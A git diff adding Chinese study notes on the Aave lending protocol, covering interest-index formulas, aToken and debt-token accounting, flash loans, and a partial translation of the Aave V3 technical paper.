+>简单来讲就是一段时间间隔[A,B]间的利率指数之比等于1+前一点的借贷利率与间隔时间的乘积，再简单来讲是[A,B]这段时间的利息积累反映到B点的利率指数与A点的利率指数比中
+
+$$
+B_{vc}^t,累积浮动借贷利率指数=(1+\frac{R_v}{T_{year}})^{\Delta T_x}\times B_{vc}^{t-1}
+$$
+
+累积浮动借贷利率指数是指浮动利率借贷总额$B_{v}$在借贷利率$R_v$的情况下，所累积产生的利息。是利率还是利息？需要进一步明确
+
+>在compound中，计算债务的复利是通过利率指数Index来计算的，即A点的总债务$Borrows_a$，经过一段时间后到达时间点B，则B点时的总债务$Borrows_B=Borrows_A \times Index_B / Index_A$ 
+>
+>不是很理解这里的乘方是什么意思？
+
+需进一步理解的有：
+
+$$
+R_l,C_i^t,I_n^t,B_{vc}^t,B_{vcx}^t,B_x,B_{xc},R_{sa}^t,M
+$$
+
+## 合约架构
+
+![image-20210916154515496](../image/image-20210916154515496.png)
+
+从架构图来看，AAVE的架构还是很复杂的。但简单来理解，AAVE存在四方角色：普通用户（提供流动性，移除流动性），清算者，资金池，预言机。作为流动性提供者的普通用户，向资金池中提供流动性(Deposit)，获得aToken. 
+
+### 借贷池核心
+
+
+
+### 借贷池数据提供者
+
+### 借贷池
+
+### 借贷池配置
+
+### 利率模型
+
+### 治理
+
+## 借贷池合约
+
+### 存款
+
+### 取款
+
+### 借款
+
+### 还款
+
+### 兑换利率
+
+### 清算
+
+### 闪电贷
+
+### 代币化
+
+## 稳定利率模型
+
+### 借贷利率预言机
+
+### 当前稳定借贷利率Rs3
+
+### 对稳定利率头寸的限制
+
+### 稳定汇率再平衡
+
+### 再平衡过程
+
+## 结论
+
diff --git a/defi/Aave/whitepaper/AAVE whitepaper V2.md b/defi/Aave/whitepaper/AAVE whitepaper V2.md
new file mode 100644
index 000000000..47bdbeb66
--- /dev/null
+++ b/defi/Aave/whitepaper/AAVE whitepaper V2.md	
@@ -0,0 +1,238 @@
+## 简介
+
+AAVE v2版本相较于v1版本新增了两个重要变化：
+
+- aToken变为可升级token
+- 债务token
+- flash loan V2
+
+针对债务Token：
+
+用户的债务以债务Token的形式存在，而不是之前的内部记账，好处有：
+
+1. 代码简化 - 用户的债务生成销毁变成了债务Token的mint和burn
+2. 同时借可变贷款利率和稳定贷款利率。在V1版本中，用户的贷款要么是可变贷款利率，要么是稳定贷款利率。多种贷款利率通过加权平均得到
+3. 信用额度转移的支持：用户可以将它在AAVE中deposit得到的信用额度转移给其他账户，而其他账户可以拿着得到的信用额度来进行贷款等。
+
+> 信用委托是一项简单的交易，Aave协议的储户将信用额度委托给他们信任的人。你也可以将信用额度委托给另一个执行预定义功能的智能合约，消除这种信任。
+> 例如，Karen将USDC存入Aave Protocol以获得利息。由于Karen只用Aave Protocol来赚取而不是借贷，她不需要行使她的信用额度。相反，凯伦将她的信用额度委托给乍得以赚取额外的利息。一旦信贷额度被委托，chad就可以从专用的信贷委托金库中提取资金，这是一个建立在Aave协议之上的简单债务包装。为了确保一帆风顺，凯伦和乍得使用OpenLaw来签署条款协议。
+
+针对flashloan V2:
+
+flashloan V1上存在如下的不足：从AAVE上得到的flashloan无法再AAVE上去使用，即nonReentrant
+
+## 架构
+
+![image20211011174016233.png](https://img.learnblockchain.cn/attachments/2021/10/kUDRVi8r61641b534d5c0.png)
+
+与之前V1版本不同：
+
+1. 资金存放在aToken中，与compound类似。
+2. 债务Token记录用户的债务
+3. 所有的操作都发生在LendingPool中
+
+## 经济模型
+
+### aToken
+
+aToken支持EIP-2612
+
+$LR_t$当前流动性率：等于总的借贷利率乘以此时的资金利用率, 注意：这里的利率是一个年化利率
+
+$$
+LR^{asset}_t=R_tU_t
+$$
+
+$LI_t$​累计流动性指数，也可理解为汇率：再时间段 $\Delta T$ ​范围内，由贷款利率累计产生的单位本金利息，任何操作都会更新该参数
+
+$$
+LI_t=(LR_t \times \Delta T_{year} + 1) \times LI_{t-1}
+$$
+
+$$
+LI_0=1 \times 10 ^{27} = 1 ray
+$$
+
+这里的概念与compound中的概念利率指数是很类似的，只是compound中的利率指数概念是由所有的贷款利率乘以delta Blocks，是每一个block的利率；而这里是一个年华利率的概念，需要进行下单位换算。
+
+$NI_t$​ 储备金正常化收入：
+
+$$
+NI_t=(LR_t \times \Delta T_{year} + 1) \times LI_{t-1}
+$$
+
+在V2中，用户指数实际上作为一个存储变量消失了，它与本金余额一起被存储为一个比率，被称为 "按比例的余额"，ScB。用户的余额被计算出来，导致在每一个导致代币铸币或烧毁的动作上的增加或减少。用户的余额被计算出来，导致每一个导致铸币或烧毁代币的行动的增加或减少。
+
+也就是说用户手上的aToken会增加或者减少!
+
+如果是deposit：
+
+$$
+ScB_t(x) = ScB_{t-1} + \frac{m}{NI_t}
+$$
+
+如果是withdraw：
+
+$$
+ScB_t(x)=ScB_{t-1}(x)-\frac{m}{NI_t}
+$$
+
+任何时刻，用户手上的aToken的数量为：
+
+$$
+aB_t(x)=ScB_t(x)\times NI_t
+$$
+
+此时需要结合代码看到：
+
+aToken的balanceOf函数的定义为：一个用户的aToken的数量为该用户的本金与该本金产生的利息之和。而在AAVE内部，统一使用 $ScB_t$ 作为用户的实际本金。即 $ScB_t=super.balanceOf(user)$
+
+```js
+function balanceOf(address user)
+    public
+    view
+    override(IncentivizedERC20, IERC20)
+    returns (uint256)
+  {
+    return super.balanceOf(user).rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset));
+  }
+```
+
+这里的一个难点即在于如何理解ScBt(x),
+
+当 t=0 时刻，此时用户还没有向 AAVE 中存钱， $ScB_0$​​​​​​ = 0， $NI_0$​​​​​​=1 ray
+当 t=1 时刻，此时用户向 AAVE 中存入抵押 token，数量为m, 此时AAVE给用户记账存入数量为 $ScB_1=\frac{m}{NI_1}$​​​​​​ ,用户自己查自己的账户余额为 $aB_1=\frac{m}{NI_1}\times NI_1=m$​​​​​​
+当 t=2 时刻，此时用户没有继续向 AAVE 中存钱，即数量为 0，此时 AAVE 给用户记账存入数量为 $ScB_2=ScB_1$​​​​​​，用户自己查自己的账户余额为 $aB2=\frac{m}{NI_1}\times {NI_2}=m\times \frac{NI_2}{NI_1}> m$​​​​​​
+当 t=3 时刻，此时用户再次向 AAVE 中存入抵押 token，数量为 n，此时 AAVE 给用户记账存入数量为 $ScB_3=\frac{m}{1\ ray}+ \frac{n}{NI_3}$​​​​，此时用户自己查自己的账户余额为 $aB_3=(\frac{m}{NI_1}+\frac{n}{NI_3})\times NI_3=m\times \frac{NI_3}{NI_1}+n$​
+
+故用户会发现自己的账户余额每查一次自己的 balanceOf 都会慢慢变大，这就是原因。但是再 AAVE 内部，其使用的是 $ScB$ 这一概念，即实际记账数量。​​​​​​​
+
+### 债务Token
+
+债务Token的总供给变化率为：所有用户再此时刻t的ScB之和
+
+$$
+dS_t=\sum{ScB_t(i)}
+$$
+
+某一种资产再时刻t对应的总的债务为：稳定贷款利率在此时刻t的总供给与可变贷款利率在时刻t的总供给之和
+
+$$
+D_t^{asset} = SD_t+VD_t
+$$
+
+当AAVE将债务token化的时候，最让人困惑的一点就是，如果我收到了债务Token，然后我把债务Token转账给别人，这样岂不就是可以自己不用归还债务了？
+
+AAVE为了解决这个问题，它的债务Token并不是一个标准的ERC20合约，而是自己魔改之后的ERC20
+
+```js
+function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
+    recipient;
+    amount;
+    revert('TRANSFER_NOT_SUPPORTED');
+  }
+```
+
+当用户想要把自己的债务转嫁给别人时，会被revert，是不被允许的。
+
+## 可变债务
+
+$VI_t^{asset}$ 累计可变债务借贷利率指数：即由可变债务总额V B在时间段 $\Delta T$ 范围内，以可变债务利率 V R，产生的累计可变债务指数
+
+$$
+V I_t=(1+\frac{V R_t}{T_{year}})^{\Delta T}\times VI_{t-1}
+$$
+
+这里需要其为指数函数，回忆复利的定义，但是compound中并不是指数函数，而是一个近似的乘积，即：泰勒级数展开
+
+$$
+(1+x)^y=1+xy+...
+$$
+
+AAVE自己实现了一个pow函数，而compound则简单使用泰勒级数展开的前两项作为估算
+
+$VI(x)$ 用户累计可变利率指数： 某一个用户的累计可变利率指数当且仅当用户持有借款头寸时更新。用户不借钱自然就没有可变利率指数了
+
+$$
+VI(x)=VI_t(x)
+$$
+
+$PB(x)$​​,用户总的借贷总金额： 当用户借钱时的用户所借贷的金额。如果用户多次借钱，那么复利的利息会每一次都累计并成为最新的借款总额
+
+$VN_t$均化累计可变贷款：​
+
+$$
+V N_t=(1+\frac{V R_t}{T_{year}})^{\Delta T}\times VI_{t-1}
+$$
+
+债务Token的数量跟aToken的逻辑类似，也是会变化的。也是有一个Scaled Balance概念，即借贷总额缩放因子
+
+当用户借钱时，可变借款总额的缩放因子为借款前的缩放因子加上这次借款数量 m 与平均化后的总的借款数量 $VN_t$ 之比的和
+
+$$
+ScVB_t(x)=ScVB_{t-1}(x)+\frac{m}{VN_t}
+$$
+
+当用户还钱时，可变借款总额的缩放因子为借款前的缩放因子加上这次借款数量 m 与平均化后的总的借款数量 $VN_t$之 比的差
+
+$$
+ScVB_t(x)=ScVB_{t-1}(x)-\frac{m}{VN_t}
+$$
+
+在任何时刻，用户的可变债务总量是：
+
+$$
+VD(x)=ScVB(x)D_t
+$$
+
+在这里的这个公式，经由周五的讨论一致认为应该是：
+
+$$
+VD(x)=ScVB(x)\times VN_t
+$$
+
+如果对比上面存款的 aToken，你会发现这里的逻辑基本上是类似的，即AAVE里面实际记录用户债务的记账数量是 $ScVB$，而用户查询到的自己的债务数量是 $VD_t$​.
+
+## 稳定利率债务
+
+$SR_t^{asset}$: 总的稳定平均贷款利率 - AAVE中的稳定利率贷款是什么意思？贷款利率不随着资金利用率变化吗？那要怎么去结算利息呢？
+
+如果以稳定利率 $SR_t$ 发行一笔稳定利率贷款 $SBnew$, 那么稳定平均利率 $SR_t$:
+
+$$
+SR_t=\frac{SD_t\times SR_{t-1}+SBnew\times SR_t}{SD_t+SBnew}
+$$
+
+如果用户x以稳定贷款利率 $SR_t$ 偿还一笔稳定利率贷款 SB,则稳定平均利率为：
+
+$$
+SR_t= 
+\left\{
+\begin{aligned}
+0,& \ if\ SD_t-SB(x)=0 \\
+\frac{SD_t \times SR_{t-1}-SB(x)\times SR(x)}{SD_t - SB_x}, &\ if\ SD_t-SB_x > 0
+\end{aligned}
+\right.
+$$
+
+$SD(x)$：用户的稳定贷款总金额：都是年化利率，要进行单位划算
+
+$$
+SD(x) = SB(x)(1+\frac{SR_t}{T_{year}})^{\Delta T}
+$$
+
+## 闪电贷
+
+相较于V1版本，V2版本的闪电贷功能更为完善。
+
+v1版本的闪电贷路径：
+
+1. 在转账给用户之前，AAVE对闪电贷的货币余额进行一次快照
+2. 在闪电贷结束后，检查闪电贷货币余额是否大于等于之前的快照加上闪电贷的利息。如果不满足条件，则revert
+
+V2版本的闪电贷路径：
+
+1. AAVE直接给用户转账
+2. 闪电贷结束时，AAVE从用户账户中拉取借贷金额和手续费，如果拉取失败，则闪电贷失败。主要是用户要给AAVE进行授权
+
+通过pull的方式而不是push，可以避免使用两次snapshot，这样也避免使用nonReentrant检查。
diff --git a/defi/Aave/whitepaper/AAVE-interest.md b/defi/Aave/whitepaper/AAVE-interest.md
new file mode 100644
index 000000000..3f4b1b94e
--- /dev/null
+++ b/defi/Aave/whitepaper/AAVE-interest.md
@@ -0,0 +1,141 @@
+# AAVE 利率
+
+利率模型和风险控制是借贷协议的核心, 在AAVE中，利率的更新可以分为三个部分:
+1. 存币利率
+2. 活息借款利率
+3. 定息借款利率
+
+至于风险控制，在后面的章节中，我们单独讨论。
+
+## ReserveData 结构体
+
+ReserveData 是 AAVE 利率变动的核心数据结构。ReserveData 在 `contracts\protocol\libraries\types\DataTypes.sol` 文件中定义，相关代码如下：
+
+```
+  // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
+  struct ReserveData {
+    // stores the reserve configuration
+    // 各种配置, 就是一个 uint256, 不同的配置项使用不同为, 简单的 bitmask 算法
+    ReserveConfigurationMap configuration;
+    // the liquidity index. Expressed in ray
+    // 存币利率: aToken 与 token 的换算关系
+    uint128 liquidityIndex;
+    // variable borrow index. Expressed in ray
+    // 活息借款利率
+    uint128 variableBorrowIndex;
+    // the current supply rate. Expressed in ray
+    // 活息借款利率与定息借款利率的加权平均
+    uint128 currentLiquidityRate;
+    // the current variable borrow rate. Expressed in ray
+    // 活息借款利率
+    uint128 currentVariableBorrowRate;
+    // the current stable borrow rate. Expressed in ray
+    // 定息借款利率
+    uint128 currentStableBorrowRate;
+    uint40 lastUpdateTimestamp;
+    // tokens addresses
+    address aTokenAddress;
+    address stableDebtTokenAddress;
+    address variableDebtTokenAddress;
+    // address of the interest rate strategy
+    address interestRateStrategyAddress;
+    // the id of the reserve. Represents the position in the list of the active reserves
+    uint8 id;
+  }
+
+```
+ReserveData 是借贷关系最核心的结构体, 每个市场上可以借贷的币种，都有一个对应的 ReserveData , 用来记录该币对的各种利率。
+
+与利率相关的变量:
+1. liquidityIndex: 存币利率
+2. variableBorrowIndex: 活息借款利率
+3. currentLiquidityRate: 流动率, 用于更新 liquidityIndex
+4. currentStableBorrowRate: 定息借款率
+5. currentVariableBorrowRate: 活息借款率, 用于更新 variableBorrowIndex
+
+## 两段式利率
+
+利率的核心是供求关系。每当资金发生变化时，AAVE 都会自动调整利率. 利率的调整是基于供求关系，在 AAVE 或 Compound 中，反映资金供求关系的变量是资金利用率。资金利用率的定义是：
+```
+Utilisation = 总借款 / (总存款+总借款)
+总借款 = 活息借款 + 定息借款
+```
+
+利率随供求关系变化的示意图：
+
+![interest vs capital utilisation](../image/capital-utilisation-rate.png)
+
+这个图很清晰的说明了利率的变化:
+1. 当使用率不超过最佳使用率时, 利率 = 基本利率 + 使用率 * slope1-rate
+2. 当使用率超过最佳使用率时, 利率 = 基本利率 + slope1-rate + (使用率-最佳使用率) * slope2-rate
+
+从图中可知, 当使用率超过最佳使用率时，利率上涨的速度非常快, 这促使借款人尽快归还借款，否则，就很有可能被清算。
+
+## liquidityIndex
+
+这是指标是 token/atoken 的存币利率
+
+主要用到的地方:
+
+1. 存币 deposit
+
+将用户的token转入合约，mint aToken并转给用户.
+
+将 token mint 为 atoken，换算关系为:
+
+```
+atoken 数量  = token 数量 / liquidityIndex
+```
+
+2. 取回 withdraw
+
+将用户的 aToken 转入合约并销毁, 将对应的 token 转给用户
+
+```
+token 数量  = atoken 数量 * liquidityIndex
+```
+
+由于 `liquidityIndex` 在不断增长, 由上面两个公式就可以算出用户的存币利息所得。
+
+## variableBorrowIndex 借款利率
+
+1. 活息借款
+
+当用户借款时, 系统会给用户 mint 借款的代币, 用来记录用户的借款, 已经随时间变化产生的利息.
+
+```
+varDebtToken 数量 = token 数量 / variableBorrowIndex
+```
+2. 活息还款
+
+当用户还款时，需要还的数量通过以下公式计算:
+
+```
+token 数量 = varDebtToken 数量 * variableBorrowIndex
+```
+
+3. 清算
+
+清算是风控的核心，在风控章节详细讨论。
+
+
+## 定息借款
+
+定息借款与活息借款类似，但有所不同。由于使用定息借款的比例非常少, 这里暂时跳过对定息借款的分析
+
+
+## 利率的计算过程
+
+利率的计算主要在文件 `contracts\protocol\lendingpool\DefaultReserveInterestRateStrategy.sol` 中，函数名为 `calculateInterestRates`. 
+
+计算的大概过程是:
+
+1. 总借款 = 活息借款 + 定息借款
+2. 资金利用率 = 总借款 / (总存款+总借款)
+3. 计算活息利率和定息利率。这两个利率都是两段式计算, 每一段的变化都是线性的。
+  a. 活息利率 = 基本活息利率 + 资金利用率 * slope1活息 (如果超过第一段, 还需要计算第二段的利率)
+  b. 定息利率 = 基本定息利率 + 资金利用率 * slope1定息
+4. 加权平均借款利率 = (活息借款*活息利率 + 定息借款*平均定息利率) / 总借款， 这里的平均定息利率是函数入参，不再这里计算
+5. currentLiquidityRate = (加权平均借款利率/总借款) * 资金利用率 * (1-储备率)
+
+可以看到, currentLiquidityRate 的计算最复杂, 那么这个变量的用途是什么呢? 答案是用来计算存款利率(liquidityIndex)
diff --git a/defi/Aave/whitepaper/AAVE_V3_Techpaper.md b/defi/Aave/whitepaper/AAVE_V3_Techpaper.md
new file mode 100644
index 000000000..b8bd2ac2e
--- /dev/null
+++ b/defi/Aave/whitepaper/AAVE_V3_Techpaper.md
@@ -0,0 +1,345 @@
+原文链接: https://github.com/aave/aave-v3-core/blob/master/techpaper/Aave_V3_Technical_Paper.pdf
+
+## 1.简介
+
+2020年Aave协议于DeFi生态横空出世，前端开源并托管在IPFS上，在Aave治理模式的控制下，现在已经成为了最大的DeFi协议之一，巅峰流动性达到300亿美金。Aave的的很多关键feature(比如aToken，可选稳定利率与可变利率，信贷授权等等)都成为了行业标准，成为了DeFi协议的基础设施。但是跟所有的技术一样，Aave协议也会随着持续的研究、市场数据分析和社区反馈在一些方面进行迭代升级。
+
+这次的提升在以下四个领域：
+1. 资本效率
+ 2. 协议安全
+ 3. 去中心化
+ 3. 用户体验
+
+Aave V3的设计实现了上述四类增强，改善了用户体验，在不牺牲安全性的前提下提高了资本效率。
+
+在介绍V3新特性之前，我们在下一节中介绍一下这些四方面需要改进的原因。
+
+### 1.1 资本效率
+
+**为流动性提供者创造更多收益**      Aave协议在多个网络上的总流动性已经接近200亿美元，其中大多数都躺在合约里不动，仅仅从收到借款收益。尽管这笔收益稳定安逸，但是它完全可以给用户提供新的功能，在不增加风险的同时重新利用起来。(这并不包括把资金注入其它协议运作去流动性挖矿-- 这会造成很大的风险，也不适合作为DeFi协议layer 0的Aave)
+
+**优化借款能力**    在以往的迭代中，由于在资产池模型中任何质押物都可以用来借入资产，借款人面临着最大化借款能力的挑战。也正因如此，借款交易的风险参数被设定的相当保守。
+
+**低效的底层网络**  Aave上的大多数资产都放在以太坊L1网络上。这个饱和的网络导致交易费比较高，也是用户的痛点。网络的低效率也会放映在预言机在短时间内提交准确价格的能力上。
+
+**聚合流动性方法**  在Aave协议里，用户的总质押量是所有质押物换算成某种基础货币(通常是eth)的量，总抵押量被用来计算平均借贷能力，即每种资产的借贷能力的加权平均值。总质押量和总借款量都是波动的，因此风控参数设置的比较保守。这在很多情况下限制了借款者的借贷能力，比如一个人质押稳定币去借稳定币，无论是借款还是质押的波动都是很小的，它理应有更强的担保能力。
+
+**降低流动性隔离**     新的流动性协议寻求提高担保能力，同时通过启用隔离的质押池或交易对来降低风险。尽管这会提高某些资产的担保能力，这实际上会使流动性隔离增加(流动性提供者必须要质押资产到不同池子/交易对里，才能满足其风险策略)和用户体验的问题(借款人可能被迫将抵押品分配到不同的池/对，才能借到他们需要的东西)。第二节会详细说明闲的的处理方案和提升。
+
+### 1.2 协议安全
+
+风险管理是流动性协议的头等大事，它要降低智能合约风险和流动性风险。对于管理智能合约风险来说，代码review和每次代码更新、治理提案的审计都是必要的。这是一个链下/协调的问题，管理这种风险涉及到代码更新时的“mission-critical(关键业务)”文化。管理流动性风险更细致，包括市场调研，调整配置参数，以及社区对资产上市建议进行适当的尽职调查(Aave社区开发并维护了Aave风险框架)。
+
+不幸的是，当前Aave协议迭代中的风险配置有限。尽管可以随时调整借贷能力(LTV)和维持保证金(清算阈值)，但如果增加对特定可能的打击(如无限铸币或预言机操纵)的防御措施，协议也会更加受益。
+
+### 1.3 去中心化
+
+协议被AAVE持有者(“Aave governance”)控制，是完全去中心化的，他们在协议配置上充当守门员的角色(比如加入新资产)，尽管这对保证协议安全很重要，但这希望往增加新资产的团队和项目来说是一种限制。
+
+### 1.4 用户体验
+
+在多链世界里，允许流动性在不同链上无缝流动越来越重要了。尽管现在Aave协议也部署在过个网络里，但是用户还是不能从一个Aave到另一个网络的Aave传递流动性。
+
+
+
+## 2.目前的解决方案
+
+现在的某些流动性协议使用一些替代方案尤其是隔离交易对和隔离流动性池来解决这些问题。这些解决方案都寻求解决加入新资产时的权限问题和与之而来的风险，尽管他们的方法很有效果，但也反衬出了Aave V优化这些模型带来的优越性。
+
+### 2.1 隔离交易对
+
+这种方案通常被称为"隔离对"，因为借款者只能通过质押某种特定资产才能借到对应的某种资产，跟Aave V2的聚合池方案相比有以下一些优点：
+
+*降低gas费*   通常情况下，隔离对方案因为不需要每次遍历所有资产，状态管理变少，导致了gas费降低
+
+*对新增资产限制降低*  只要风险系数调高任何资产都可以添加
+
+然而这种设计对协议的可扩展性有影响。
+
+**流动性的极端隔离**  现在流动性被每种质押资产分隔开了，这意味着质押这需要把资产拆开分配到不同池子才能谋求最大收益。虽然这可以通过上层协议去聚合，但是也会降低用户对风险配置微调的能力，丧失了一部分优势。这也意味着每加入一个新交易对，都需要给它建立一次流动性，才能让用户借到这个资产。
+
+**借款者糟糕的体验** 在Aave协议里，借出资产可以简单理解为质押 + 借款，用户用起来很简单：只要质押量够，借款人可以直接接触任何资产，只需要管理一个状态(资债情况)。但是在隔离交易对方案里，如果借款人想借多种资产，它必须和很多交易对交互，甚至有时候只借一种资产也是这样，结果就是协议需要同时维护很多状态。这当然也可以通过上层协议去自动聚合来缓解，但是也降低了这种解决方案的优势(gas费)。流动性隔离通常也意味着更高的借款利率。
+
+**倾向于高风险资产**  一般而言，与较安全的资产相比，使用高风险资产作为抵押品的借款人(在其他流动性协议中)愿意支付更高的价格。这样的用户行为可能会允许某些潜在的攻击，新增某种没有债务上限的资产。 例如，用户可能会把稳定币冲进一个新创建的不稳定的池子来借出这个资产，这增加了对质押者的吸引力。
+
+### 2.2 隔离流动性池
+
+隔离流动性池的架构本质是Aave模式和隔离交易对模式的混合体，例如使用特定资产和自定义风险管理配置实例化独立市场的无权限协议。这种方法类似于Aave在2020年开创的以Uniswap V1 LP资产为抵押的首个Uniswap池。拥有多个市场让用户能够在资产集群中分散风险，减少对潜在投资失败的影响，而不牺牲用户体验，并在流动性隔离方面做出一些妥协。
+
+鉴于其独特的架构，也会和隔离交易对一样产生一些问题。尽管没有那么严重，流动性隔离仍然很重要——许多资金池难以吸引流动性。TVL通常也倾向于高风险资产。
+
+## 3.Aave V3 概述
+
+Aave V3脱胎于对协议与其生态演化的分析，特性的增强可以引起用户和开发者的创新浪潮。Aave V3在上述四个方面都做了改进，同时提供新的方法增强rollup能力和生态在L1网络中的竞争力。
+
+### 3.1 资本效率和用户体验的提高
+
+**传送门**  传送门代表着一系列核心特性，他们可以允许Aave的资产在不同的网络中无缝流通，如果站在顶层设计来看的话原理很简单：aToken在源网络burn掉，然后在目标链上mint。这提供了一种以延迟方式提供资产的方法，其中底层的加密资产在通过规范链桥后被提供给Aave协议。关于设计的更多细节可以在4.5节中看到。
+
+**E-Model**  高效模式(High Efficiency Mode, E-Model)允许借款人从他们的质押物中提取最高的借贷能力。现在可以对资产进行分类，每个类别都有以下风险管理参数:
+
+- LTV(其实就是借款能力，有些合约称为质押系数)
+- 清算阈值
+- 清算激励系数
+- 定制价格预言机(可选)
+
+
+E-Mode允许借款人限制自己只借入属于某一类的资产(比如稳定币)。当这种情况发生时，如果用户提供同类别的资产作为抵押品，LTV和清算阈值将被E-Mode配置覆盖，赋以更高的资金效率。详见图1的说明。
+
+在V3里，Aave协议支持最多255种E-Mode类别，可以开启一波新用例的浪潮，比如：
+
+- 高效的流动性挖矿
+- 多样化的风险管理
+
+**例子**  Aave协议把E-Mode第一类(稳定币)定义为： 97%的LTV，98%的清算阈值和2%的清算激励，没有定制预言机。
+
+![图一](../image/figure1.jpg '图一')
+
+1. 用户选择E- Mode的分类一，即稳定币
+2. 用户质押DAI(正常情况下的LTV为75%)
+3. 现在如果借E-Mode分类一里的资产就可以使用E-Mode的系数，即98%，资产利用率提高了23%。这些DAI依然可以作为质押物去借其他资产，但是只有在同一个E-Model里的资产能享受到更优惠的参数。
+
+**隔离模型**  需要加强的最相关领域之一是风险的复杂性。当治理团队在Aave协议上新增一项资产时，使用它作为抵押品的借款人立即可以获得整个协议的流动性。这使得新资产的上市变得复杂，并降低了借款人的资本效率。因此，V3引入了隔离模式，其灵感来自于用于公开管理的MakerDAO方法。
+
+现在资产可以以“隔离”的方式上市(在通过治理团队表决之后)。借款者质押了“隔离”的资产作为抵押物的同时不能把“非隔离”的资产作为质押物去借款(尽管可以冲进池子里拿收益)，隔离模式下只能借出由goverance指定的稳定币。
+
+图2中有一个例子，用户提供 TOKEN2 作为抵押品。TOKEN2 是一种隔离资产，最高债务上限为 1000 万美元，USDT、DAI 和 USDC 作为「可借用」资产。在提供 TOKEN2 作为抵押品后，用户将能够借入高达 1000 万美元的 USDT、DAI 和 USDC。即使用户提供另一种资产，假设是 ETH，V3 智能合约也不会允许用户以这些资产为抵押借款。尽管用户仍将通过提供的 ETH 赚取收益。如果用户希望将所有资产用作抵押品并退出隔离模式，其只需进行交易以禁用 TOKEN2 作为抵押品（受智能合约中有关抵押品比率、清算等的所有通常限制）。
+
+![图二](../image/figure2.jpg '图二')
+
+### 3.2 风险管理
+
+Aave V3有更加精细的风控参数和特性去支撑协议的高安全性，以对抗破产风险。
+
+*存款与借款限额：*
+治理团队现在可以设置存款和借款限额，借款限额和其它流动性合约一样，就是协议能调配某种资产的借款最大值。存款限额可以限制每种资产存进Aave协议的最大值，这有助于减少对某一资产的敞口，并降低无限铸币或预言机操纵等风险。
+
+*精细借款能力控制*
+现在的流动性协议没法在不执行清算的情况下降低某种资产的借款能力，当某一资产的风险状况发生变化时，这种方法的局限性就很大。在Aave V3中，通过精细借款能力控制，治理团队可以在不影响现有借款人的情况下，将任何资产的借贷能力降低至0%(尽管仍有可能在必要时清算现有用户)。
+
+*风控管理员*
+Aave V3里治理团队创建实体并且移交权限，它可以越过投票修改风险系数，这个实体可以是DAO(例如RiskDAO)或者一个自动代理，可以在某些量被打破时自动做出反应。
+
+*价格预言机哨兵*  
+预言机哨兵特性是为了L2设计的，目的是处理排序器的最终停机时间（也可扩展到L1上以处理其他事件）。它引入了清算宽限期，并在特定情况下禁止借贷。
+
+*可变的清算关闭因子 （清算关闭因子就是允许一次清算掉被清算人质押物的比例）*
+在Aave V2里，每次只能清算头寸的一半，这在很多情况下是低效的，特别是高交易费或者小头寸的清算。在V3里，这一机制得到改进，可以在临近破产时完全平仓(HF<0.95)。
+
+### 3.3 去中心化
+
+Aave V3引入了资产列表管理员的概念，治理团队可以创建并向任何实体（甚至是智能合约）授权，以实施新策略以将资产添加到Aave协议，而不是通过链上投票。这将允许构建者创建自定义资产列表策略，可以设计为带来真正的无权限资产列表。
+
+### 3.4 其它特性
+
+- 所有设计token转移的业务(质押，还债)都支持EIP 2612的permit函数
+- 信用委托将支持EIP-712签名
+- 用户可以使用aTokens代替原来借入的底层资产来偿还借入的头寸
+- 治理团队可以让实体获得即时流动性
+- 治理团队可以可以重新配置提供给 Aave DAO 财政部的清算或即时流动性交易的任何费用
+- 新的 flashloanSimple() 减少了高达 20% 的 gas 消耗(标准的、功能齐全的功能仍然可用)
+- 重写了价格预言机的逻辑，使基础资产的计算普遍化
+- 尽管有了这些新功能，但所有功能的gas费都下降了约20 - 25%
+- 代码重构后更加模块化
+- 智能合约的代码变小了--最多能运行100K的[优化器](https://www.osgeo.cn/solidity/internals/optimizer.html)
+- 优化稳定利率计算的新策略，实现可以看这里： https://governance.aave.com/t/base-stable-rate-oracle-update-and-improvements-in-aave-v2/1879，4.4也会深入探讨
+
+## 4.特性说明
+
+### 4.1 E - Mode
+
+当质押物和借出资产在价格上有相关性，甚至是同一种底层资产的衍生物时，E-Mode应运而生，它会最大化资本效率。稳定币通常与底层资产(比如USD)挂钩，剧烈脱钩事件发生的概率不大。ETH的衍生物如stETH, sETH, alETH 等等，跟ETH脱钩的概率也不大，这样赋予它们互相之间高质押系数就很合理了。
+
+在Aave协议以往的设计里，借款和质押物的价值是要换算成某种底层资产(如USD和ETH)来记录的，很难实现前文说的某种质押物对应某种借款，从而提升资本效率。
+
+E-Mode引入了资产分类取代Aave协议的资产列表，在同一个分类里的资产通常在价格上有很强的相关性。分类不是在链上强制执行的，需要实体进行管理(比如governance)。
+
+用户可以选择只借特定分类里的资产，当使用相同分类的质押物时就可以享受到高质押系数。
+
+E-Mode 让每一个分类下的资产都可以使用特定的预言机。例如某一个分类里只有renBTC和WBTC，那么就可以给使用同一个 BTC/USD 预言机，可以消除预言机异步造成的不必要清算(在BTC价格大幅下跌的情况下，由于WBTC/USD和renBTC/USD是异步的，所以它们的更新时间可能略有不同，这可能会导致不必要的清算)。特定类别的预言机为协议带来了更多的风险，如果其中一项资产维持价格(例如，由于协议被黑客攻击或特定衍生品的潜在问题)，它可能会导致破产。 Aave治理需要在每个资产和每个类别的基础上仔细评估是否使用特定类别的预言机。基于以上原因，E-Mode适合更快的网络(尤其是rollup)，在这种网络中，预言机可以更高效，而且不会因为高交易成本而招致清算。
+
+*Category 0* 
+分类0是一个默认值，并不是E-Mode分类。所有的资产默认分类都是它。
+
+*Enter E-Mode*
+如果用户所有借款都在某个分类里，它就可以进入这个分类的E-Mode （分类0除外）
+
+*Exit E-Mode*
+当头寸的HF>=1即不存在清算风险时，用户才能退出E-Mode(设置分类为0)
+
+*User borrowing*
+在E-Mode中的用户只能借当前分类的资产，他们可以使用其他分类的资产作抵押，但是只有同分类下的质押物享有高质押系数
+
+*Asset addition*
+只有当E-Mode的LTV和清算阈值高于该资产默认的非E-Mode风险参数时，才可以通过授权实体(风险管理员或资金池管理员)将资产加入E-Mode
+
+*Asset removal*
+资产可以通过授权实体(风险或池管理)从E-Mode中移除。这可能使一些用户的偿付能力陷入不必要的清算(见第4.7节)。根据设计，用户在E-Mode下借出资产，而该资产随后被从E-Mode类别中移除不受影响。在移除后，仍在E-Mode的用户将不能再借出该资产。
+
+### 4.2 隔离模式
+
